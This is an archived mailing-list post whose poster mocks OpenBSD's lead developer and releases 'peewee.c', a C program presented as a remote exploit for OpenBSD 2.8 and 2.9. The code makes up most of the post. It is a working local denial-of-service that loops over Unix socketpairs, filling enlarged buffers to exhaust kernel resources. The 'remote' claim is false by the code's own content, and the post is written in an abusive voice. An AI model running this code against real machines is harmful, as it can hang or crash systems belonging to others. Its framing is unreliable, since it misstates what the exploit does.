Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




Vulnerability Development mailing list archives

proof of exploited code
From: Fsck Theo Dumbraadt <fscktheo () broken org>
Date: 6 Jun 2001 13:23:44 -0000

This code shows a remote exploit for opensbsd versions 2.8 and 2.9
and can now be released to the public to break theo's 4 years without
remote exploits sayings. I wrote it while people told me it could not
happen on the list so here is your proofs bitch.


//
// peewee.c
// peewee herman prove of consept this code will show all of the
// world how vulnirable OpenBSD is and how Theo Dumbraadt is
// not more than a liar copyraadt 2001 by Jigglypuff
// http://home.online.no/~wiighome/ninasiden/Jigglypuff.jpg
// this proggie is GPL licensed to those who use it keep my
// credits and not be a lamer
//

#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define         BUFFERSIZE      409600

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }

        return(0);
}

* Get your free email at http://www.inbox.net


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]